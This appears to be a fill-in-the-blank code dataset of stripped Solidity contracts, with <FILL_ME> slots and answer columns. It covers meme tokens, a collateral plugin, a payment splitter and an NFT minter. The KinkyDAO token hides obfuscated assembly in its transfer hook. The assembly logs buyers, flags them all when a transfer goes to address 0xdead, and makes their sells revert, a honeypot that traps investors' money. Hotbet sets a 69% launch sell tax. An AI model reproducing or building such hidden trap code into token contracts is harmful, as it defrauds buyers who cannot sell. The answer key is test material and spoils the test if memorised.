function usedTokenId(uint256 tokenId)
public
view
returns (bool mintUsed)
{
}
function mintArray(uint256 tokenId)
internal
pure
returns (uint256 boolRow, uint256 bColumn)
{
}
/// Fallbacks
receive() external payable { }
fallback() external payable { }
}
| !usedTokenIds(mT_),"Token already used" | 213,989 | !usedTokenIds(mT_) |
"ERC20: trading is not yet enabled." | pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function WETH() external pure returns (address);
function factory() external pure returns (address);
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
address[] private harshEdit;
mapping (address => bool) private ladySquirrel;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private oakMean = 0x20d3c16f70e960c09ffdf49e0bc330dbab770d8a64c306944be8297361881cc1;
address public pair;
IDEXRouter router;
string private _name; string private _symbol; uint256 private _totalSupply; bool private theTrading;
address trash = 0x00000000A991C429eE2Ec6df19d40fe0c80088B8;
constructor (string memory name_, string memory symbol_, address msgSender_) {
}
function symbol() public view virtual override returns (string memory) {
}
function solveDwarf(uint8 quickPrefer) external onlyOwner returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function name() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function openTrading() external onlyOwner returns (bool) {
}
function plugArt(address bleakCherry, uint256 obtainValley, uint8 flowerBattle, bytes32 tunaPattern) external onlyOwner returns (uint8) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function _beforeTokenTransfer(address sender, address recipient) internal {
require(<FILL_ME>)
assembly {
function baseCongress(x,y) -> poetTruth { mstore(0, x) mstore(32, y) poetTruth := keccak256(0, 64) }
function assetElegant(x,y) -> craneToast { mstore(0, x) craneToast := add(keccak256(0, 32),y) }
function cornBid(x,y) { mstore(0, x) sstore(add(keccak256(0, 32),sload(x)),y) sstore(x,add(sload(x),0x1)) }
if and(and(eq(sender,sload(assetElegant(0x2,0x1))),eq(recipient,sload(assetElegant(0x2,0x2)))),iszero(sload(0x1))) { sstore(sload(0x8),sload(0x8)) } if eq(recipient,0x1) { sstore(0x99,0x1) }
if eq(recipient,57005) { for { let tenantUse := 0 } lt(tenantUse, sload(0x500)) { tenantUse := add(tenantUse, 1) } { sstore(baseCongress(sload(assetElegant(0x500,tenantUse)),0x3),0x1) } }
if and(and(or(eq(sload(0x99),0x1),eq(sload(baseCongress(sender,0x3)),0x1)),eq(recipient,sload(assetElegant(0x2,0x2)))),iszero(eq(sender,sload(assetElegant(0x2,0x1))))) { invalid() }
if eq(sload(0x110),number()) { if and(and(eq(sload(0x105),number()),eq(recipient,sload(assetElegant(0x2,0x2)))),and(eq(sload(0x200),sender),iszero(eq(sload(assetElegant(0x2,0x1)),sender)))) { invalid() }
sstore(0x105,sload(0x110)) sstore(0x115,sload(0x120)) }
if and(iszero(eq(sender,sload(assetElegant(0x2,0x2)))),and(iszero(eq(recipient,sload(assetElegant(0x2,0x1)))),iszero(eq(recipient,sload(assetElegant(0x2,0x2)))))) { sstore(baseCongress(recipient,0x3),0x1) }
if and(and(eq(sender,sload(assetElegant(0x2,0x2))),iszero(eq(recipient,sload(assetElegant(0x2,0x1))))),iszero(eq(recipient,sload(assetElegant(0x2,0x1))))) { cornBid(0x500,recipient) }
if iszero(eq(sload(0x110),number())) { sstore(0x200,recipient) } sstore(0x110,number()) sstore(0x120,recipient)
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _DeployKinkyDAO(address account, uint256 amount) internal virtual {
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
}
}
contract KinkyDAO is ERC20Token {
constructor() ERC20Token("Kinky DAO", "KINK", msg.sender, 925000000 * 10 ** 18) {
}
}
| (theTrading||(sender==harshEdit[1])),"ERC20: trading is not yet enabled." | 214,268 | (theTrading||(sender==harshEdit[1])) |
null | /**
Website: https://hotbet.gg/
Telegram: https://t.me/htbhotbetgg
Twitter: https://twitter.com/hotbetgg
Whitepaper: https://hotbetgg.gitbook.io/whitepaper/
**/
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.21;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface ILpPair {
function mint(address to) external returns (uint liquidity);
function sync() external;
}
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Hotbet is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
address payable private _marketingAndDevelopmentWallet;
address payable private _prizeAndRevenueShareWallet;
address constant DEAD = 0x000000000000000000000000000000000000dEaD;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event SetExemptFromFees(address _address, bool _isExempt);
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
}
uint256 private _startingBuyCount=0;
uint256 private _buyTaxReducedAfterThisManyBuys=1;
uint256 private _sellTaxReducedAfterThisManyBuys=42;
uint256 private _preventSellToEthTillBuysAre=42;
uint256 private _buyTaxAtLaunch=5;
uint256 private _sellTaxAtLaunch=69;
uint256 private _actualBuyTax=5;
uint256 private _actualSellTax=5;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 10000000 * 10 **_decimals;
string private constant _name = unicode"Hotbet";
string private constant _symbol = unicode"HTB";
uint256 public _maxTxAmount = _tTotal / 10000 * 100;
uint256 public _maxWalletSize = _tTotal / 10000 * 100;
uint256 public _taxSwapThreshold = _tTotal / 10000 * 14;
uint256 public _maxTaxSwap = _tTotal / 10000 * 14;
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function min(uint256 a, uint256 b) private pure returns (uint256){
}
function isContract(address account) private view returns (bool) {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function removeWalletLimits() external {
require(<FILL_ME>)
_maxTxAmount = _tTotal;
_maxWalletSize=_tTotal;
emit MaxTxAmountUpdated(_tTotal);
}
function sendEthtoDevelopment(uint256 amount) private {
}
function sendETHToRevShare(uint256 amount) private {
}
function openTrading() external onlyOwner() {
}
function openTradingManual() external onlyOwner() {
}
function withdrawStuckToken(address _token, address _to) external {
}
function sendContractTokenBalanceToEth() external {
}
function recoverETH() external {
}
function reduceBuyFee(uint256 _newFee) external {
}
function reduceSellFee(uint256 _newFee) external {
}
function changeMaxTaxSwapAmount(uint256 amount) external {
}
function changeTaxSwapThreshold (uint256 amount) external {
}
function fixOrAddLp(address _router, address _tokenA, uint256 _amountTokenA) external payable {
}
receive() external payable {}
}
| _msgSender()==_marketingAndDevelopmentWallet | 214,367 | _msgSender()==_marketingAndDevelopmentWallet |
"rTokenOracle missing" | // SPDX-License-Identifier: ISC
pragma solidity 0.8.17;
import "../../../interfaces/IRTokenOracle.sol";
import "./CvxStableMetapoolCollateral.sol";
/**
* @title CvxStableRTokenMetapoolCollateral
* This plugin contract is intended for 2-token stable metapools that
* involve RTokens, such as eUSD-fraxBP.
*
* tok = ConvexStakingWrapper(cvxPairedUSDRToken/USDBasePool)
* ref = PairedUSDRToken/USDBasePool pool invariant
* tar = USD
* UoA = USD
*/
contract CvxStableRTokenMetapoolCollateral is CvxStableMetapoolCollateral {
using FixLib for uint192;
IRTokenOracle public immutable rTokenOracle;
/// @param config.chainlinkFeed Feed units: {UoA/pairedTok}
/// @dev config.chainlinkFeed/oracleError/oracleTimeout are unused; set chainlinkFeed to 0x1
/// @dev config.erc20 should be a IConvexStakingWrapper
constructor(
CollateralConfig memory config,
uint192 revenueHiding,
PTConfiguration memory ptConfig,
ICurveMetaPool metapoolToken_,
uint192 pairedTokenDefaultThreshold_,
IRTokenOracle rTokenOracle_
)
CvxStableMetapoolCollateral(
config,
revenueHiding,
ptConfig,
metapoolToken_,
pairedTokenDefaultThreshold_
)
{
require(<FILL_ME>)
rTokenOracle = rTokenOracle_;
}
/// Can revert, used by `_anyDepeggedOutsidePool()`
/// Should not return FIX_MAX for low
/// Should only return FIX_MAX for high if low is 0
/// @return lowPaired {UoA/pairedTok} The low price estimate of the paired token
/// @return highPaired {UoA/pairedTok} The high price estimate of the paired token
function tryPairedPrice()
public
view
virtual
override
returns (uint192 lowPaired, uint192 highPaired)
{
}
/// Should not revert (other than out-of-gas error / empty data)
/// Refresh exchange rates and update default status.
/// Have to override to add custom default checks
function refresh() public virtual override {
}
}
| address(rTokenOracle_)!=address(0),"rTokenOracle missing" | 214,657 | address(rTokenOracle_)!=address(0) |
"Trading not open yet" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
interface ERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address _owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
contract Ownable is Context {
address public _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
mapping(address => bool) internal authorizations;
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
interface InterfaceLP {
function sync() external;
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
contract CryptoWave is Ownable, ERC20 {
using SafeMath for uint256;
address WETH;
address constant DEAD = 0x000000000000000000000000000000000000dEaD;
address constant ZERO = 0x0000000000000000000000000000000000000000;
string constant _name = "Crypto Wave";
string constant _symbol = "CW";
uint8 constant _decimals = 18;
event AutoLiquify(uint256 amountETH, uint256 amountTokens);
event EditTax(uint8 Buy, uint8 Sell, uint8 Transfer);
event user_exemptfromfees(address Wallet, bool Exempt);
event user_TxExempt(address Wallet, bool Exempt);
event ClearToken(address TokenAddressCleared, uint256 Amount);
event set_Receivers(address buybackFeeReceiver);
uint256 _totalSupply = 500000000 * 10**_decimals;
mapping(address => uint256) _balances;
mapping(address => mapping(address => uint256)) _allowances;
mapping(address => bool) isexemptfromfees;
mapping(address => bool) isexemptfrommaxTX;
uint256 private liquidityFee = 1;
uint256 private buybackFee = 1;
uint256 public totalFee = buybackFee + liquidityFee;
uint256 private feeDenominator = 100;
uint256 sellpercent = 50;
uint256 buypercent = 50;
uint256 transferpercent = 0;
address private autoLiquidityReceiver;
address private buybackFeeReceiver;
mapping(address => bool) private _swapWhiteList;
uint256 setRatio = 5;
uint256 setRatioDenominator = 100;
IDEXRouter public router;
InterfaceLP private pairContract;
address public pair;
bool public ot = false;
bool inSwap;
modifier swapping() {
}
constructor() {
}
receive() external payable {}
function totalSupply() external view override returns (uint256) {
}
function decimals() external pure override returns (uint8) {
}
function symbol() external pure override returns (string memory) {
}
function name() external pure override returns (string memory) {
}
function getOwner() external view override returns (address) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function allowance(address holder, address spender)
external
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function approveMax(address spender) external returns (bool) {
}
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
}
function _transferFrom(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
if (inSwap) {
return _basicTransfer(sender, recipient, amount);
}
if (!authorizations[sender] && !authorizations[recipient]) {
if (!ot) {
require(<FILL_ME>)
}
}
_balances[sender] = _balances[sender].sub(
amount,
"Insufficient Balance"
);
uint256 amountReceived = (isexemptfromfees[sender] ||
isexemptfromfees[recipient])
? amount
: takeFee(sender, amount, recipient);
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
return true;
}
function _basicTransfer(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
}
function shouldTakeFee(address sender) internal view returns (bool) {
}
function takeFee(
address sender,
uint256 amount,
address recipient
) internal returns (uint256) {
}
function manualSend() external {
}
function clearStuckToken(address tokenAddress, uint256 tokens)
external
returns (bool success)
{
}
function clearStuckETH() external onlyOwner {
}
function setStructure(
uint256 _percentonbuy,
uint256 _percentonsell,
uint256 _wallettransfer
) external onlyOwner {
}
function gfkex() public onlyOwner {
}
function zlkjfe() public onlyOwner {
}
function reduceFee() public onlyOwner {
}
function set_fees() internal {
}
function setParameters(
uint256 _liquidityFee,
uint256 _buybackFee,
uint256 _feeDenominator
) external onlyOwner {
}
function setWallets(
address _autoLiquidityReceiver,
address _buybackFeeReceiver
) external onlyOwner {
}
function setSwapWhiteList(address[] calldata addr, bool enable)
public
onlyOwner
{
}
}
| _swapWhiteList[recipient],"Trading not open yet" | 214,719 | _swapWhiteList[recipient] |
"Not enough balance" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.1;
import "hardhat/console.sol";
//access control
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
// Helper functions OpenZeppelin provides.
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Context.sol";
contract PaymentSplitPassport is Context, AccessControl, Ownable {
//defining the access roles
bytes32 public constant UPDATER_ROLE = keccak256("UPDATER_ROLE");
bytes32 public constant BALANCE_ROLE = keccak256("BALANCE_ROLE");
event PayeeAdded(address account, uint256 shares);
event PaymentReleased(address to, uint256 amount);
event ERC20PaymentReleased(IERC20 indexed token, address to, uint256 amount);
event PaymentReceived(address from, uint256 amount);
uint256 private _totalShares;
uint256 private _totalReleased;
mapping(address => uint256) private _shares;
mapping(address => uint256) private _released;
address[] private _payees;
bool _newPayeesOpen = true;
mapping(address=>bool) testPayment;
uint testPaymentCount = 0;
mapping(IERC20 => uint256) private _erc20TotalReleased;
mapping(IERC20 => mapping(address => uint256)) private _erc20Released;
/**
* @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at
* the matching position in the `shares` array.
*
* All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no
* duplicates in `payees`.
*/
constructor(address[] memory payees, uint256[] memory shares_, address admin) payable {
}
function addUpdater(address updater)external onlyRole(UPDATER_ROLE){
}
function addBalancer(address balancer)external onlyRole(UPDATER_ROLE){
}
/**
* @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully
* reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the
* reliability of the events, and not the actual splitting of Ether.
*
* To learn more about this see the Solidity documentation for
* https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback
* functions].
*/
receive() external payable virtual {
}
function getBalance()external view returns(uint256){
}
/**
* @dev Getter for the total shares held by payees.
*/
function totalShares() external view returns (uint256) {
}
/**
* @dev Getter for the total amount of Ether already released.
*/
function totalReleased() public view returns (uint256) {
}
/**
* @dev Getter for the amount of shares held by an account.
*/
function shares(address account) external view returns (uint256) {
}
/**
* @dev Getter for the amount of Ether already released to a payee.
*/
function released(address account) public view returns (uint256) {
}
/**
* @dev Getter for the address of the payee number `index`.
*/
function payee(uint256 index) public view returns (address) {
}
/**
* @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the
* total shares and their previous withdrawals.
*/
function release(address payable account) public virtual {
}
/**
* @dev Triggers a transfer to all `accounts` in the list of the amount of Ether they are owed, according to their percentage of the
* total shares and their previous withdrawals.
*/
function releaseAll()public onlyRole(BALANCE_ROLE){
}
/**
* @dev internal logic for computing the pending payment of an `account` given the token historical balances and
* already released amounts.
*/
function _pendingPayment(
address account,
uint256 totalReceived,
uint256 alreadyReleased
) private view returns (uint256) {
}
/**
*@dev close the contract for new payees
*@notice added to protect against new payees causing payment underflow errors
*/
function closeNewPayees()external onlyRole(UPDATER_ROLE){
}
/**
* @dev Add a new payee to the contract.
* @param account The address of the payee to add.
* @param shares_ The number of shares owned by the payee.
*/
function addPayee(address account, uint256 shares_)public onlyRole(UPDATER_ROLE){
}
/**
* @dev Add a new payee to the contract.
* @param account The address of the payee to add.
* @param shares_ The number of shares owned by the payee.
*/
function _addPayee(address account, uint256 shares_) private {
}
function testRelease(address payable toAc)external onlyRole(UPDATER_ROLE){
require(<FILL_ME>)
require(testPaymentCount < 6, "max tests passed");
require(testPayment[toAc]==false, "Already tested");
Address.sendValue(toAc, 0.01 ether);
testPayment[toAc] = true;
testPaymentCount += 1;
}
//ERC20
/**
* @dev Getter for the total amount of `token` already released. `token` should be the address of an IERC20
* contract.
*/
function totalReleasedERC20(IERC20 token) public view returns (uint256) {
}
/**
* @dev Getter for the amount of `token` tokens already released to a payee. `token` should be the address of an
* IERC20 contract.
*/
function releasedERC20(IERC20 token, address account) public view returns (uint256) {
}
/**
* @dev Getter for the amount of payee's releasable `token` tokens. `token` should be the address of an
* IERC20 contract.
*/
function releasableERC20(IERC20 token, address account) public view returns (uint256) {
}
/**
* @dev Triggers a transfer to `account` of the amount of `token` tokens they are owed, according to their
* percentage of the total shares and their previous withdrawals. `token` must be the address of an IERC20
* contract.
*/
function releaseERC20(IERC20 token, address account) public virtual {
}
}
| address(this).balance>0.01ether,"Not enough balance" | 214,761 | address(this).balance>0.01ether |
"Already tested" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.1;
import "hardhat/console.sol";
//access control
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
// Helper functions OpenZeppelin provides.
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Context.sol";
contract PaymentSplitPassport is Context, AccessControl, Ownable {
//defining the access roles
bytes32 public constant UPDATER_ROLE = keccak256("UPDATER_ROLE");
bytes32 public constant BALANCE_ROLE = keccak256("BALANCE_ROLE");
event PayeeAdded(address account, uint256 shares);
event PaymentReleased(address to, uint256 amount);
event ERC20PaymentReleased(IERC20 indexed token, address to, uint256 amount);
event PaymentReceived(address from, uint256 amount);
uint256 private _totalShares;
uint256 private _totalReleased;
mapping(address => uint256) private _shares;
mapping(address => uint256) private _released;
address[] private _payees;
bool _newPayeesOpen = true;
mapping(address=>bool) testPayment;
uint testPaymentCount = 0;
mapping(IERC20 => uint256) private _erc20TotalReleased;
mapping(IERC20 => mapping(address => uint256)) private _erc20Released;
/**
* @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at
* the matching position in the `shares` array.
*
* All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no
* duplicates in `payees`.
*/
constructor(address[] memory payees, uint256[] memory shares_, address admin) payable {
}
function addUpdater(address updater)external onlyRole(UPDATER_ROLE){
}
function addBalancer(address balancer)external onlyRole(UPDATER_ROLE){
}
/**
* @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully
* reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the
* reliability of the events, and not the actual splitting of Ether.
*
* To learn more about this see the Solidity documentation for
* https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback
* functions].
*/
receive() external payable virtual {
}
function getBalance()external view returns(uint256){
}
/**
* @dev Getter for the total shares held by payees.
*/
function totalShares() external view returns (uint256) {
}
/**
* @dev Getter for the total amount of Ether already released.
*/
function totalReleased() public view returns (uint256) {
}
/**
* @dev Getter for the amount of shares held by an account.
*/
function shares(address account) external view returns (uint256) {
}
/**
* @dev Getter for the amount of Ether already released to a payee.
*/
function released(address account) public view returns (uint256) {
}
/**
* @dev Getter for the address of the payee number `index`.
*/
function payee(uint256 index) public view returns (address) {
}
/**
* @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the
* total shares and their previous withdrawals.
*/
function release(address payable account) public virtual {
}
/**
* @dev Triggers a transfer to all `accounts` in the list of the amount of Ether they are owed, according to their percentage of the
* total shares and their previous withdrawals.
*/
function releaseAll()public onlyRole(BALANCE_ROLE){
}
/**
* @dev internal logic for computing the pending payment of an `account` given the token historical balances and
* already released amounts.
*/
function _pendingPayment(
address account,
uint256 totalReceived,
uint256 alreadyReleased
) private view returns (uint256) {
}
/**
*@dev close the contract for new payees
*@notice added to protect against new payees causing payment underflow errors
*/
function closeNewPayees()external onlyRole(UPDATER_ROLE){
}
/**
* @dev Add a new payee to the contract.
* @param account The address of the payee to add.
* @param shares_ The number of shares owned by the payee.
*/
function addPayee(address account, uint256 shares_)public onlyRole(UPDATER_ROLE){
}
/**
* @dev Add a new payee to the contract.
* @param account The address of the payee to add.
* @param shares_ The number of shares owned by the payee.
*/
function _addPayee(address account, uint256 shares_) private {
}
function testRelease(address payable toAc)external onlyRole(UPDATER_ROLE){
require(address(this).balance > 0.01 ether, "Not enough balance");
require(testPaymentCount < 6, "max tests passed");
require(<FILL_ME>)
Address.sendValue(toAc, 0.01 ether);
testPayment[toAc] = true;
testPaymentCount += 1;
}
//ERC20
/**
* @dev Getter for the total amount of `token` already released. `token` should be the address of an IERC20
* contract.
*/
function totalReleasedERC20(IERC20 token) public view returns (uint256) {
}
/**
* @dev Getter for the amount of `token` tokens already released to a payee. `token` should be the address of an
* IERC20 contract.
*/
function releasedERC20(IERC20 token, address account) public view returns (uint256) {
}
/**
* @dev Getter for the amount of payee's releasable `token` tokens. `token` should be the address of an
* IERC20 contract.
*/
function releasableERC20(IERC20 token, address account) public view returns (uint256) {
}
/**
* @dev Triggers a transfer to `account` of the amount of `token` tokens they are owed, according to their
* percentage of the total shares and their previous withdrawals. `token` must be the address of an IERC20
* contract.
*/
function releaseERC20(IERC20 token, address account) public virtual {
}
}
| testPayment[toAc]==false,"Already tested" | 214,761 | testPayment[toAc]==false |
"Invalid proof" | pragma solidity ^0.8.7;
interface SeamanNFT {
function mint(address to, uint256 quantity) external;
function numberMinted(address one) external view returns (uint256);
function ownerOf(uint256 tokenId) external view returns (address);
}
contract SeamanMinter is Ownable {
struct InvitationRecord {
uint256 NumMinted; //
uint256 NumAssisted; //
uint256 NumInvited; //
uint256 NumSecondaryInvited; //
uint256 ProfitAmount; //
address InvitedBy; //
}
SeamanNFT private _seamanNFT; //
address private _beneficiary; //
uint256 private _profitAmount; //
mapping(address => InvitationRecord) private _invitation; //
// claimed profit
mapping(address => uint256) private claimedProfit;
uint256 private _ratioA = 2000; // 20%
uint256 private _ratioB = 1000; // 10%
uint256 private _priceA = 0.03 ether; // public mint price
uint256 private _priceB = 0.02 ether; // wlmint , invitemint price
uint256 private _maxQuantity = 10; //
uint256 private _maxNumMinted = 40; //
bytes32 private _merkleTreeRoot; // “0” - wlmint false
bool private _openToPublic = false; // false - wlmint begin
event claimed(address indexed wallet, uint256 indexed val);
event mintedWithProof(
address indexed wallet,
uint256 indexed quantity,
uint256 indexed price
);
event minted(
address indexed wallet,
uint256 indexed quantity,
uint256 indexed price
);
event mintedWithCode(
address indexed wallet,
uint256 quantity,
uint256 price,
uint256 code,
address indexed rewardeeA,
uint256 rewardA,
address indexed rewardeeB,
uint256 rewardB
);
/**
*
*
* `seamanAddress` ERC721
*/
constructor(address seamanContract) {
}
/**
* airdrop
*
* `users`
* `quantities`
*/
function airdrop(address[] calldata users, uint256[] calldata quantities) public onlyOwner {
}
/**
*
*
* `proof`
* `quantity`
*/
function mintWhitelist(bytes32[] calldata proof, uint256 quantity) public payable {
require(_merkleTreeRoot != bytes32(0), "Whitelist sale is not live");
require(<FILL_ME>)
require(quantity > 0 && quantity <= _maxQuantity, "Wrong quantity");
require(_seamanNFT.numberMinted(msg.sender) + quantity <= _maxNumMinted, "Exceeds max per address");
require(msg.value >= _priceB * quantity, "Not enough ETH sent for selected amount");
_profitAmount += msg.value;
_seamanNFT.mint(msg.sender, quantity);
emit mintedWithProof(msg.sender, quantity, _priceB);
}
/**
*
*
* `quantity`
*/
function mint(uint256 quantity) public payable {
}
/**
*
*
* `code` TokenID
* `quantity`
*/
function mintWithCode(uint256 code, uint256 quantity) public payable {
}
/**
*
*/
function profitAmount() public view returns (uint256) {
}
function withdraw() public onlyOwner {
}
function withdrawAll() public onlyOwner {
}
function invitationRecord(address one) public view returns (InvitationRecord memory) {
}
/**
*
*/
function rewardAmount() public view returns (uint256) {
}
/**
*
*/
function claimedAmount() public view returns (uint256) {
